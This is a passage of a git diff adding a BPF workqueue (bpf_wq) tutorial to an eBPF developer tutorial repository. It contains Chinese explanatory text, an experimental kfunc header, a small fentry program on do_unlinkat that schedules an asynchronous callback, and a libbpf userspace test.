map。验证器使用此信息来验证工作队列及其容器是否正确相关。其次,`bpf_wq_set_callback(wq, wq_callback, 0)` 注册我们的回调函数。验证器在加载时检查此签名,并将拒绝签名不匹配的程序。第三,`bpf_wq_start(wq, 0)` 调度工作队列异步执行。此调用立即返回 - 主程序继续同步执行,而内核将工作排队以便稍后在进程上下文中执行。 + +所有三个函数中的 flags 参数都保留供将来使用,在当前内核中应为 0。该模式允许将来扩展而不破坏 API 兼容性。 + +### 完整的用户空间程序:wq_simple.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Userspace test for BPF workqueue */ +#include +#include +#include +#include +#include +#include "wq_simple.skel.h" + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +int main(int argc, char **argv) +{ + struct wq_simple_bpf *skel; + int err, fd; + + libbpf_set_print(libbpf_print_fn); + + /* Open and load BPF application */ + skel = wq_simple_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Attach tracepoint handler */ + err = wq_simple_bpf__attach(skel); + if (err) { + fprintf(stderr, "Failed to attach BPF skeleton\n"); + goto cleanup; + } + + printf("BPF workqueue program attached. Triggering unlink syscall...\n"); + + /* Create a temporary file to trigger do_unlinkat */ + fd = open("/tmp/wq_test_file", O_CREAT | O_WRONLY, 0644); + if (fd >= 0) { + close(fd); + unlink("/tmp/wq_test_file"); + } + + /* Give workqueue time to execute */ + sleep(1); + + /* Check results */ + printf("\nResults:\n"); + printf(" main_executed = %u (expected: 1)\n", skel->bss->main_executed); + printf(" wq_executed = %u (expected: 1)\n", skel->bss->wq_executed); + + if (skel->bss->main_executed == 1 && skel->bss->wq_executed == 1) { + printf("\n✓ Test PASSED!\n"); + } else { + printf("\n✗ Test FAILED!\n"); + err = 1; + } + +cleanup: + wq_simple_bpf__destroy(skel); + return err; +} +``` + +### 理解用户空间代码 + +用户空间程序编排测试并验证结果。我们使用 libbpf 的骨架 API,它将编译的 BPF 字节码嵌入到 C 结构中,使加载变得简单。`wq_simple_bpf__open_and_load()` 调用编译(如果需要)、将 BPF 程序加载到内核中,并在一次操作中创建所有 map。 + +加载后,`wq_simple_bpf__attach()` 将 fentry 程序附加到 `do_unlinkat`。从这一点开始,任何 unlink 系统调用都会触发我们的 BPF 程序。我们通过创建并立即删除临时文件来故意触发这一点。`open()` 创建 `/tmp/wq_test_file`,我们关闭 fd,然后 `unlink()` 删除它。此删除进入内核的 `do_unlinkat` 函数,触发我们的 fentry 探针。 + +以下是关键的时序方面:工作队列执行是异步的。我们的主 BPF 程序调度工作并立即返回。内核将回调排队以供内核工作线程稍后执行。这就是为什么我们 `sleep(1)` - 在检查结果之前给工作队列时间执行。在生产代码中,你会使用更复杂的同步,但对于简单的测试,sleep 就足够了。 + +sleep 后,我们从 BPF 程序的 `.bss` 节读取全局变量。骨架通过 `skel->bss->main_executed` 和 `skel->bss->wq_executed` 提供便捷访问。如果两者都为 1,我们知道同步路径(fentry)和异步路径(工作队列回调)都成功执行了。 + +## 理解工作队列 API + +工作队列 API 由管理生命周期的三个基本函数组成。**`bpf_wq_init(wq, map, flags)`** 初始化工作队列句柄,建立工作队列与其包含 map 之间的关系。map 参数至关重要 - 它告诉验证器哪个 map 包含带有嵌入式 `bpf_wq` 结构的值。验证器使用此信息来确保跨异步执行的内存安全。在当前内核中,标志应为 0。 + +**`bpf_wq_set_callback(wq, callback_fn, flags)`** 注册要异步执行的函数。回调必须具有签名 `int callback(void *map, int *key, void *value)`。验证器在加载时检查此签名,并将拒绝签名不匹配的程序。这种类型安全防止了常见的异步编程错误。标志应为 0。 + +**`bpf_wq_start(wq, flags)`** 调度工作队列运行。这会立即返回 - 你的 BPF 程序继续同步执行。内核将回调排队以供工作线程在进程上下文中在将来某个时间点执行。回调可能在微秒或毫秒后运行,具体取决于系统负载。标志应为 0。 + +回调签名值得注意。与接收 `(void *map, __u32 *key, void *value)` 的 `bpf_timer` 回调不同,工作队列回调接收 `(void *map, int *key, void *value)`。注意键类型差异 - `int *` 与 `__u32 *`。这反映了 API 的演变,必须完全匹配,否则验证器会拒绝你的程序。回调在进程上下文中运行,因此它可以安全地执行在 softirq 上下文中会崩溃的操作。 + +## 何时使用工作队列与定时器 + +选择 **bpf_timer** 当你需要微秒精度的定时、操作快速且非阻塞、你正在更新计数器或简单状态,或实现周期性快速路径操作(如统计收集或数据包调度)时。定时器在必须以最小延迟执行的时间关键任务方面表现出色。 + +选择 **bpf_wq** 当你需要睡眠或等待、使用 `kzalloc()` 分配内存、执行设备或网络 I/O,或推迟可以稍后发生的清理操作时。工作队列非常适合"快速路径 + 慢速路径"模式,其中关键操作立即发生,而昂贵的处理异步运行而不阻塞。示例包括 HID 设备 I/O(带延迟的键盘宏注入)、异步 map 清理(防止内存泄漏)、安全策略更新(查询外部数据库)和后台处理(压缩、加密、聚合)。 + +基本权衡是延迟与能力。定时器具有较低的延迟但受限的能力。工作队列具有较高的延迟但完整的进程上下文能力,包括睡眠和阻塞 I/O。 + +## 编译和执行 + +导航到 bpf_wq 目录并构建: + +```bash +cd bpf-developer-tutorial/src/features/bpf_wq +make +``` + +Makefile 使用启用的实验性工作队列功能编译 BPF 程序并生成骨架头。 + +运行简单的工作队列测试: + +```bash +sudo ./wq_simple +``` + +预期输出: + +``` +BPF workqueue program attached. Triggering unlink syscall... + +Results: + main_executed = 1 (expected: 1) + wq_executed = 1 (expected: 1) + +✓ Test PASSED! +``` + +测试验证同步 fentry 探针和异步工作队列回调都成功执行。如果工作队列回调没有运行,`wq_executed` 将为 0,测试将失败。 + +## 历史时间线和背景 + +理解工作队列如何产生有助于欣赏它们的设计。2022 年,Benjamin Tissoires 开始研究 HID-BPF,旨在让用户在没有内核驱动程序的情况下修复损坏的 HID 设备。到 2023 年,他意识到 `bpf_timer` 的限制使 HID 设备 I/O 变得不可能 - 你不能在 softirq 上下文中等待硬件响应。2024 年初,他提出 `bpf_wq` 作为"进程上下文中的 bpf_timer",与 BPF 社区合作设计。内核在 2024 年 4 月将工作队列作为 Linux v6.10 的一部分合并。从那时起,它们已被用于 HID 怪癖、速率限制、异步清理和其他可睡眠操作。 + +Benjamin 的补丁中的关键引用完美地捕捉了动机:"我需要类似于 bpf_timers 的东西,但不在软 IRQ 上下文中……bpf_timer 功能会阻止我 kzalloc 并等待设备。" + +这种现实世界的需求推动了设计。工作队列的存在是因为设备处理和资源管理需要定时器根本无法提供的可睡眠、阻塞操作。 + +## 总结和下一步 + +BPF 工作队列通过在进程上下文中启用可睡眠、阻塞操作解决了 eBPF 的根本限制。专门为支持 HID 设备处理而创建,其中时序延迟和设备 I/O 至关重要,工作队列为 eBPF 程序解锁了强大的新功能。它们启用了"快速路径 + 慢速路径"模式,其中性能关键操作立即执行,而昂贵的清理和 I/O 异步发生而不阻塞。 + +我们的简单示例演示了核心工作队列生命周期:在 map 值中嵌入 `bpf_wq`、初始化和配置它、调度异步执行,以及验证回调在进程上下文中运行。相同的模式可以扩展到生产用例,如带异步清理的网络速率限制、带外部服务查询的安全监控,以及带 I/O 操作的设备处理。 + +> 如果你想深入了解 eBPF,请查看我们的教程仓库 或访问我们的网站 。 + +## 参考资料 + +- **原始内核补丁:** Benjamin Tissoires 的 HID-BPF 和 bpf_wq 补丁(2023-2024) +- **Linux 内核源码:** `kernel/bpf/helpers.c` - 工作队列实现 +- **教程仓库:** + +示例改编自 Linux 内核 BPF 自测,并增加了教育性增强。需要 Linux 内核 6.10+ 以获得工作队列支持。完整源代码可在教程仓库中获得。 diff --git a/src/features/bpf_wq/bpf_experimental.h b/src/features/bpf_wq/bpf_experimental.h new file mode 100644 index 00000000..cd8ecd39 --- /dev/null +++ b/src/features/bpf_wq/bpf_experimental.h @@ -0,0 +1,591 @@ +#ifndef __BPF_EXPERIMENTAL__ +#define __BPF_EXPERIMENTAL__ + +#include +#include +#include +#include + +#define __contains(name, node) __attribute__((btf_decl_tag("contains:" #name ":" #node))) + +/* Description + * Allocates an object of the type represented by 'local_type_id' in + * program BTF. User may use the bpf_core_type_id_local macro to pass the + * type ID of a struct in program BTF. + * + * The 'local_type_id' parameter must be a known constant. + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * A pointer to an object of the type corresponding to the passed in + * 'local_type_id', or NULL on failure. + */ +extern void *bpf_obj_new_impl(__u64 local_type_id, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_obj_new_impl */ +#define bpf_obj_new(type) ((type *)bpf_obj_new_impl(bpf_core_type_id_local(type), NULL)) + +/* Description + * Free an allocated object. All fields of the object that require + * destruction will be destructed before the storage is freed. + * + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * Void. + */ +extern void bpf_obj_drop_impl(void *kptr, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_obj_drop_impl */ +#define bpf_obj_drop(kptr) bpf_obj_drop_impl(kptr, NULL) + +/* Description + * Increment the refcount on a refcounted local kptr, turning the + * non-owning reference input into an owning reference in the process. + * + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * An owning reference to the object pointed to by 'kptr' + */ +extern void *bpf_refcount_acquire_impl(void *kptr, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_refcount_acquire_impl */ +#define bpf_refcount_acquire(kptr) bpf_refcount_acquire_impl(kptr, NULL) + +/* Description + * Add a new entry to the beginning of the BPF linked list. + * + * The 'meta' and 'off' parameters are rewritten by the verifier, no need + * for BPF programs to set them + * Returns + * 0 if the node was successfully added + * -EINVAL if the node wasn't added because it's already in a list + */ +extern int bpf_list_push_front_impl(struct bpf_list_head *head, + struct bpf_list_node *node, + void *meta, __u64 off) __ksym; + +/* Convenience macro to wrap over bpf_list_push_front_impl */ +#define bpf_list_push_front(head, node) bpf_list_push_front_impl(head, node, NULL, 0) + +/* Description + * Add a new entry to the end of the BPF linked list. + * + * The 'meta' and 'off' parameters are rewritten by the verifier, no need + * for BPF programs to set them + * Returns + * 0 if the node was successfully added + * -EINVAL if the node wasn't added because it's already in a list + */ +extern int bpf_list_push_back_impl(struct bpf_list_head *head, + struct bpf_list_node *node, + void *meta, __u64 off) __ksym; + +/* Convenience macro to wrap over bpf_list_push_back_impl */ +#define bpf_list_push_back(head, node) bpf_list_push_back_impl(head, node, NULL, 0) + +/* Description + * Remove the entry at the beginning of the BPF linked list. + * Returns + * Pointer to bpf_list_node of deleted entry, or NULL if list is empty. + */ +extern struct bpf_list_node *bpf_list_pop_front(struct bpf_list_head *head) __ksym; + +/* Description + * Remove the entry at the end of the BPF linked list. + * Returns + * Pointer to bpf_list_node of deleted entry, or NULL if list is empty. + */ +extern struct bpf_list_node *bpf_list_pop_back(struct bpf_list_head *head) __ksym; + +/* Description + * Remove 'node' from rbtree with root 'root' + * Returns + * Pointer to the removed node, or NULL if 'root' didn't contain 'node' + */ +extern struct bpf_rb_node *bpf_rbtree_remove(struct bpf_rb_root *root, + struct bpf_rb_node *node) __ksym; + +/* Description + * Add 'node' to rbtree with root 'root' using comparator 'less' + * + * The 'meta' and 'off' parameters are rewritten by the verifier, no need + * for BPF programs to set them + * Returns + * 0 if the node was successfully added + * -EINVAL if the node wasn't added because it's already in a tree + */ +extern int bpf_rbtree_add_impl(struct bpf_rb_root *root, struct bpf_rb_node *node, + bool (less)(struct bpf_rb_node *a, const struct bpf_rb_node *b), + void *meta, __u64 off) __ksym; + +/* Convenience macro to wrap over bpf_rbtree_add_impl */ +#define bpf_rbtree_add(head, node, less) bpf_rbtree_add_impl(head, node, less, NULL, 0) + +/* Description + * Return the first (leftmost) node in input tree + * Returns + * Pointer to the node, which is _not_ removed from the tree. If the tree + * contains no nodes, returns NULL. + */ +extern struct bpf_rb_node *bpf_rbtree_first(struct bpf_rb_root *root) __ksym; + +/* Description + * Allocates a percpu object of the type represented by 'local_type_id' in + * program BTF. User may use the bpf_core_type_id_local macro to pass the + * type ID of a struct in program BTF. + * + * The 'local_type_id' parameter must be a known constant. + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * A pointer to a percpu object of the type corresponding to the passed in + * 'local_type_id', or NULL on failure. + */ +extern void *bpf_percpu_obj_new_impl(__u64 local_type_id, void *meta) __ksym; + +/* Convenience macro to wrap over bpf_percpu_obj_new_impl */ +#define bpf_percpu_obj_new(type) ((type __percpu_kptr *)bpf_percpu_obj_new_impl(bpf_core_type_id_local(type), NULL)) + +/* Description + * Free an allocated percpu object. All fields of the object that require + * destruction will be destructed before the storage is freed. + * + * The 'meta' parameter is rewritten by the verifier, no need for BPF + * program to set it. + * Returns + * Void. + */ +extern void bpf_percpu_obj_drop_impl(void *kptr, void *meta) __ksym; + +struct bpf_iter_task_vma; + +extern int bpf_iter_task_vma_new(struct bpf_iter_task_vma *it, + struct task_struct *task, + __u64 addr) __ksym; +extern struct vm_area_struct *bpf_iter_task_vma_next(struct bpf_iter_task_vma *it) __ksym; +extern void bpf_iter_task_vma_destroy(struct bpf_iter_task_vma *it) __ksym; + +/* Convenience macro to wrap over bpf_obj_drop_impl */ +#define bpf_percpu_obj_drop(kptr) bpf_percpu_obj_drop_impl(kptr, NULL) + +/* Description + * Throw a BPF exception from the program, immediately terminating its + * execution and unwinding the stack. The supplied 'cookie' parameter + * will be the return value of the program when an exception is thrown, + * and the default exception callback is used. Otherwise, if an exception + * callback is set using the '__exception_cb(callback)' declaration tag + * on the main program, the 'cookie' parameter will be the callback's only + * input argument. + * + * Thus, in case of default exception callback, 'cookie' is subjected to + * constraints on the program's return value (as with R0 on exit). + * Otherwise, the return value of the marked exception callback will be + * subjected to the same checks. + * + * Note that throwing an exception with lingering resources (locks, + * references, etc.) will lead to a verification error. + * + * Note that callbacks *cannot* call this helper. + * Returns + * Never. + * Throws + * An exception with the specified 'cookie' value. + */ +extern void bpf_throw(u64 cookie) __ksym; + +/* Description + * Acquire a reference on the exe_file member field belonging to the + * mm_struct that is nested within the supplied task_struct. The supplied + * task_struct must be trusted/referenced. + * Returns + * A referenced file pointer pointing to the exe_file member field of the + * mm_struct nested in the supplied task_struct, or NULL. + */ +extern struct file *bpf_get_task_exe_file(struct task_struct *task) __ksym; + +/* Description + * Release a reference on the supplied file. The supplied file must be + * acquired. + */ +extern void bpf_put_file(struct file *file) __ksym; + +/* Description + * Resolve a pathname for the supplied path and store it in the supplied + * buffer. The supplied path must be trusted/referenced. + * Returns + * A positive integer corresponding to the length of the resolved pathname, + * including the NULL termination character, stored in the supplied + * buffer. On error, a negative integer is returned. + */ +extern int bpf_path_d_path(struct path *path, char *buf, size_t buf__sz) __ksym; + +/* This macro must be used to mark the exception callback corresponding to the + * main program. For example: + * + * int exception_cb(u64 cookie) { + * return cookie; + * } + * + * SEC("tc") + * __exception_cb(exception_cb) + * int main_prog(struct __sk_buff *ctx) { + * ... + * return TC_ACT_OK; + * } + * + * Here, exception callback for the main program will be 'exception_cb'. Note + * that this attribute can only be used once, and multiple exception callbacks + * specified for the main program will lead to verification error. + */ +#define __exception_cb(name) __attribute__((btf_decl_tag("exception_callback:" #name))) + +#define __bpf_assert_signed(x) _Generic((x), \ + unsigned long: 0, \ + unsigned long long: 0, \ + signed long: 1, \ + signed long long: 1 \ +) + +#define __bpf_assert_check(LHS, op, RHS) \ + _Static_assert(sizeof(&(LHS)), "1st argument must be an lvalue expression"); \ + _Static_assert(sizeof(LHS) == 8, "Only 8-byte integers are supported\n"); \ + _Static_assert(__builtin_constant_p(__bpf_assert_signed(LHS)), "internal static assert"); \ + _Static_assert(__builtin_constant_p((RHS)), "2nd argument must be a constant expression") + +#define __bpf_assert(LHS, op, cons, RHS, VAL) \ + ({ \ + (void)bpf_throw; \ + asm volatile ("if %[lhs] " op " %[rhs] goto +2; r1 = %[value]; call bpf_throw" \ + : : [lhs] "r"(LHS), [rhs] cons(RHS), [value] "ri"(VAL) : ); \ + }) + +#define __bpf_assert_op_sign(LHS, op, cons, RHS, VAL, supp_sign) \ + ({ \ + __bpf_assert_check(LHS, op, RHS); \ + if (__bpf_assert_signed(LHS) && !(supp_sign)) \ + __bpf_assert(LHS, "s" #op, cons, RHS, VAL); \ + else \ + __bpf_assert(LHS, #op, cons, RHS, VAL); \ + }) + +#define __bpf_assert_op(LHS, op, RHS, VAL, supp_sign) \ + ({ \ + if (sizeof(typeof(RHS)) == 8) { \ + const typeof(RHS) rhs_var = (RHS); \ + __bpf_assert_op_sign(LHS, op, "r", rhs_var, VAL, supp_sign); \ + } else { \ + __bpf_assert_op_sign(LHS, op, "i", RHS, VAL, supp_sign); \ + } \ + }) + +#define __cmp_cannot_be_signed(x) \ + __builtin_strcmp(#x, "==") == 0 || __builtin_strcmp(#x, "!=") == 0 || \ + __builtin_strcmp(#x, "&") == 0 + +#define __is_signed_type(type) (((type)(-1)) < (type)1) + +#define __bpf_cmp(LHS, OP, PRED, RHS, DEFAULT) \ + ({ \ + __label__ l_true; \ + bool ret = DEFAULT; \ + asm volatile goto("if %[lhs] " OP " %[rhs] goto %l[l_true]" \ + :: [lhs] "r"((short)LHS), [rhs] PRED (RHS) :: l_true); \ + ret = !DEFAULT; \ +l_true: \ + ret; \ + }) + +/* C type conversions coupled with comparison operator are tricky. + * Make sure BPF program is compiled with -Wsign-compare then + * __lhs OP __rhs below will catch the mistake. + * Be aware that we check only __lhs to figure out the sign of compare. + */ +#define _bpf_cmp(LHS, OP, RHS, UNLIKELY) \ + ({ \ + typeof(LHS) __lhs = (LHS); \ + typeof(RHS) __rhs = (RHS); \ + bool ret; \ + _Static_assert(sizeof(&(LHS)), "1st argument must be an lvalue expression"); \ + (void)(__lhs OP __rhs); \ + if (__cmp_cannot_be_signed(OP) || !__is_signed_type(typeof(__lhs))) { \ + if (sizeof(__rhs) == 8) \ + /* "i" will truncate 64-bit constant into s32, \ + * so we have to use extra register via "r". \ + */ \ + ret = __bpf_cmp(__lhs, #OP, "r", __rhs, UNLIKELY); \ + else \ + ret = __bpf_cmp(__lhs, #OP, "ri", __rhs, UNLIKELY); \ + } else { \ + if (sizeof(__rhs) == 8) \ + ret = __bpf_cmp(__lhs, "s"#OP, "r", __rhs, UNLIKELY); \ + else \ + ret = __bpf_cmp(__lhs, "s"#OP, "ri", __rhs, UNLIKELY); \ + } \ + ret; \ + }) + +#ifndef bpf_cmp_unlikely +#define bpf_cmp_unlikely(LHS, OP, RHS) _bpf_cmp(LHS, OP, RHS, true) +#endif + +#ifndef bpf_cmp_likely +#define bpf_cmp_likely(LHS, OP, RHS) \ + ({ \ + bool ret = 0; \ + if (__builtin_strcmp(#OP, "==") == 0) \ + ret = _bpf_cmp(LHS, !=, RHS, false); \ + else if (__builtin_strcmp(#OP, "!=") == 0) \ + ret = _bpf_cmp(LHS, ==, RHS, false); \ + else if (__builtin_strcmp(#OP, "<=") == 0) \ + ret = _bpf_cmp(LHS, >, RHS, false); \ + else if (__builtin_strcmp(#OP, "<") == 0) \ + ret = _bpf_cmp(LHS, >=, RHS, false); \ + else if (__builtin_strcmp(#OP, ">") == 0) \ + ret = _bpf_cmp(LHS, <=, RHS, false); \ + else if (__builtin_strcmp(#OP, ">=") == 0) \ + ret = _bpf_cmp(LHS, <, RHS, false); \ + else \ + asm volatile("r0 " #OP " invalid compare"); \ + ret; \ + }) +#endif + +/* + * Note that cond_break can only be portably used in the body of a breakable + * construct, whereas can_loop can be used anywhere. + */ +#ifdef __BPF_FEATURE_MAY_GOTO +#define can_loop \ + ({ __label__ l_break, l_continue; \ + bool ret = true; \ + asm volatile goto("may_goto %l[l_break]" \ + :::: l_break); \ + goto l_continue; \ + l_break: ret = false; \ + l_continue:; \ + ret; \ + }) + +#define cond_break \ + ({ __label__ l_break, l_continue; \ + asm volatile goto("may_goto %l[l_break]" \ + :::: l_break); \ + goto l_continue; \ + l_break: break; \ + l_continue:; \ + }) +#else +#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ +#define can_loop \ + ({ __label__ l_break, l_continue; \ + bool ret = true; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long ((%l[l_break] - 1b - 8) / 8) & 0xffff; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: ret = false; \ + l_continue:; \ + ret; \ + }) + +#define cond_break \ + ({ __label__ l_break, l_continue; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long ((%l[l_break] - 1b - 8) / 8) & 0xffff; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: break; \ + l_continue:; \ + }) +#else +#define can_loop \ + ({ __label__ l_break, l_continue; \ + bool ret = true; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long (((%l[l_break] - 1b - 8) / 8) & 0xffff) << 16; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: ret = false; \ + l_continue:; \ + ret; \ + }) + +#define cond_break \ + ({ __label__ l_break, l_continue; \ + asm volatile goto("1:.byte 0xe5; \ + .byte 0; \ + .long (((%l[l_break] - 1b - 8) / 8) & 0xffff) << 16; \ + .short 0" \ + :::: l_break); \ + goto l_continue; \ + l_break: break; \ + l_continue:; \ + }) +#endif +#endif + +#ifndef bpf_nop_mov +#define bpf_nop_mov(var) \ + asm volatile("%[reg]=%[reg]"::[reg]"r"((short)var)) +#endif + +/* emit instruction: + * rX = rX .off = BPF_ADDR_SPACE_CAST .imm32 = (dst_as << 16) | src_as + */ +#ifndef bpf_addr_space_cast +#define bpf_addr_space_cast(var, dst_as, src_as)\ + asm volatile(".byte 0xBF; \ + .ifc %[reg], r0; \ + .byte 0x00; \ + .endif; \ + .ifc %[reg], r1; \ + .byte 0x11; \ + .endif; \ + .ifc %[reg], r2; \ + .byte 0x22; \ + .endif; \ + .ifc %[reg], r3; \ + .byte 0x33; \ + .endif; \ + .ifc %[reg], r4; \ + .byte 0x44; \ + .endif; \ + .ifc %[reg], r5; \ + .byte 0x55; \ + .endif; \ + .ifc %[reg], r6; \ + .byte 0x66; \ + .endif; \ + .ifc %[reg], r7; \ + .byte 0x77; \ + .endif; \ + .ifc %[reg], r8; \ + .byte 0x88; \ + .endif; \ + .ifc %[reg], r9; \ + .byte 0x99; \ + .endif; \ + .short %[off]; \ + .long %[as]" \ + : [reg]"+r"(var) \ + : [off]"i"(BPF_ADDR_SPACE_CAST) \ + , [as]"i"((dst_as << 16) | src_as)); +#endif + +void bpf_preempt_disable(void) __weak __ksym; +void bpf_preempt_enable(void) __weak __ksym; + +typedef struct { +} __bpf_preempt_t; + +static inline __bpf_preempt_t __bpf_preempt_constructor(void) +{ + __bpf_preempt_t ret = {}; + + bpf_preempt_disable(); + return ret; +} +static inline void __bpf_preempt_destructor(__bpf_preempt_t *t) +{ + bpf_preempt_enable(); +} +#define bpf_guard_preempt() \ + __bpf_preempt_t ___bpf_apply(preempt, __COUNTER__) \ + __attribute__((__unused__, __cleanup__(__bpf_preempt_destructor))) = \ + __bpf_preempt_constructor() + +/* Description + * Assert that a conditional expression is true. + * Returns + * Void. + * Throws + * An exception with the value zero when the assertion fails. + */ +#define bpf_assert(cond) if (!(cond)) bpf_throw(0); + +/* Description + * Assert that a conditional expression is true. + * Returns + * Void. + * Throws + * An exception with the specified value when the assertion fails. + */ +#define bpf_assert_with(cond, value) if (!(cond)) bpf_throw(value); + +/* Description + * Assert that LHS is in the range [BEG, END] (inclusive of both). This + * statement updates the known bounds of LHS during verification. Note + * that both BEG and END must be constant values, and must fit within the + * data type of LHS. + * Returns + * Void. + * Throws + * An exception with the value zero when the assertion fails. + */ +#define bpf_assert_range(LHS, BEG, END) \ + ({ \ + _Static_assert(BEG <= END, "BEG must be <= END"); \ + barrier_var(LHS); \ + __bpf_assert_op(LHS, >=, BEG, 0, false); \ + __bpf_assert_op(LHS, <=, END, 0, false); \ + }) + +/* Description + * Assert that LHS is in the range [BEG, END] (inclusive of both). This + * statement updates the known bounds of LHS during verification. Note + * that both BEG and END must be constant values, and must fit within the + * data type of LHS. + * Returns + * Void. + * Throws + * An exception with the specified value when the assertion fails. + */ +#define bpf_assert_range_with(LHS, BEG, END, value) \ + ({ \ + _Static_assert(BEG <= END, "BEG must be <= END"); \ + barrier_var(LHS); \ + __bpf_assert_op(LHS, >=, BEG, value, false); \ + __bpf_assert_op(LHS, <=, END, value, false); \ + }) + +struct bpf_iter_css_task; +struct cgroup_subsys_state; +extern int bpf_iter_css_task_new(struct bpf_iter_css_task *it, + struct cgroup_subsys_state *css, unsigned int flags) __weak __ksym; +extern struct task_struct *bpf_iter_css_task_next(struct bpf_iter_css_task *it) __weak __ksym; +extern void bpf_iter_css_task_destroy(struct bpf_iter_css_task *it) __weak __ksym; + +struct bpf_iter_task; +extern int bpf_iter_task_new(struct bpf_iter_task *it, + struct task_struct *task, unsigned int flags) __weak __ksym; +extern struct task_struct *bpf_iter_task_next(struct bpf_iter_task *it) __weak __ksym; +extern void bpf_iter_task_destroy(struct bpf_iter_task *it) __weak __ksym; + +struct bpf_iter_css; +extern int bpf_iter_css_new(struct bpf_iter_css *it, + struct cgroup_subsys_state *start, unsigned int flags) __weak __ksym; +extern struct cgroup_subsys_state *bpf_iter_css_next(struct bpf_iter_css *it) __weak __ksym; +extern void bpf_iter_css_destroy(struct bpf_iter_css *it) __weak __ksym; + +extern int bpf_wq_init(struct bpf_wq *wq, void *p__map, unsigned int flags) __weak __ksym; +extern int bpf_wq_start(struct bpf_wq *wq, unsigned int flags) __weak __ksym; +extern int bpf_wq_set_callback_impl(struct bpf_wq *wq, + int (callback_fn)(void *map, int *key, void *value), + unsigned int flags__k, void *aux__ign) __ksym; +#define bpf_wq_set_callback(timer, cb, flags) \ + bpf_wq_set_callback_impl(timer, cb, flags, NULL) + +struct bpf_iter_kmem_cache; +extern int bpf_iter_kmem_cache_new(struct bpf_iter_kmem_cache *it) __weak __ksym; +extern struct kmem_cache *bpf_iter_kmem_cache_next(struct bpf_iter_kmem_cache *it) __weak __ksym; +extern void bpf_iter_kmem_cache_destroy(struct bpf_iter_kmem_cache *it) __weak __ksym; + +#endif diff --git a/src/features/bpf_wq/wq_simple.bpf.c b/src/features/bpf_wq/wq_simple.bpf.c new file mode 100644 index 00000000..28189c22 --- /dev/null +++ b/src/features/bpf_wq/wq_simple.bpf.c @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Simple BPF workqueue example */ +#include +#include +#include "bpf_experimental.h" + +char LICENSE[] SEC("license") = "GPL"; + +/* Element with embedded workqueue */ +struct elem { + int value; + struct bpf_wq work; +}; + +/* Array to store our element */ +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, int); + __type(value, struct elem); +} array SEC(".maps"); + +/* Result variables */ +__u32 wq_executed = 0; +__u32 main_executed = 0; + +/* Workqueue callback - runs asynchronously in workqueue context */ +static int wq_callback(void *map, int *key, void *value) +{ + struct elem *val = value; + /* This runs later in workqueue context */ + wq_executed = 1; + val->value = 42; /* Modify the value asynchronously */ + return 0; +} + +/* Main program - schedules work */ +SEC("fentry/do_unlinkat") +int test_workqueue(void *ctx) +{ + struct elem init = {.value = 0}, *val; + struct bpf_wq *wq; + int key = 0; + + main_executed = 1; + + /* Initialize element in map */ + bpf_map_update_elem(&array, &key, &init, 0); + + /* Get element from map */ + val = bpf_map_lookup_elem(&array, &key); + if (!val) + return 0; + + /* Initialize workqueue */ + wq = &val->work; + if (bpf_wq_init(wq, &array, 0) != 0) + return 0; + + /* Set callback function */ + if (bpf_wq_set_callback(wq, wq_callback, 0)) + return 0; + + /* Schedule work to run asynchronously */ + if (bpf_wq_start(wq, 0)) + return 0; + + return 0; +} diff --git a/src/features/bpf_wq/wq_simple.c b/src/features/bpf_wq/wq_simple.c new file mode 100644 index 00000000..0128e842 --- /dev/null +++ b/src/features/bpf_wq/wq_simple.c @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Userspace test for BPF workqueue */ +#include +#include +#include +#include +#include +#include "wq_simple.skel.h" + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +int main(int argc, char **argv) +{ + struct wq_simple_bpf *skel; + int err, fd; + + libbpf_set_print(libbpf_print_fn); + + /* Open and load BPF application */ + skel = wq_simple_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Attach tracepoint handler */ + err = wq_simple_bpf__attach(skel); + if (err) { + fprintf(stderr, "Failed to attach BPF skeleton\n"); + goto cleanup; + } + + printf("BPF workqueue program attached. Triggering unlink syscall...\n"); + + /* Create a temporary file to trigger do_unlinkat */ + fd = open("/tmp/wq_test_file", O_CREAT | O_WRONLY, 0644); + if (fd >= 0) { + close(fd); + unlink("/tmp/wq_test_file"); + } + + /* Give workqueue time to execute */ + sleep(1); + + /* Check results */ + printf("\nResults:\n"); + printf(" main_executed = %u (expected: 1)\n", skel->bss->main_executed); + printf(" wq_executed = %u (expected: 1)\n", skel->bss->wq_executed); + + if (skel->bss->main_executed == 1 && skel->bss->wq_executed == 1) { + printf("\n✓ Test PASSED!\n"); + } else { + printf("\n✗ Test FAILED!\n"); + err = 1; + } + +cleanup: + wq_simple_bpf__destroy(skel); + return err; +} diff --git a/src/features/struct_ops/.config b/src/features/struct_ops/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/features/struct_ops/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/features/struct_ops/.gitignore b/src/features/struct_ops/.gitignore new file mode 100644 index 00000000..d95bc296 --- /dev/null +++ b/src/features/struct_ops/.gitignore @@ -0,0 +1,10 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml 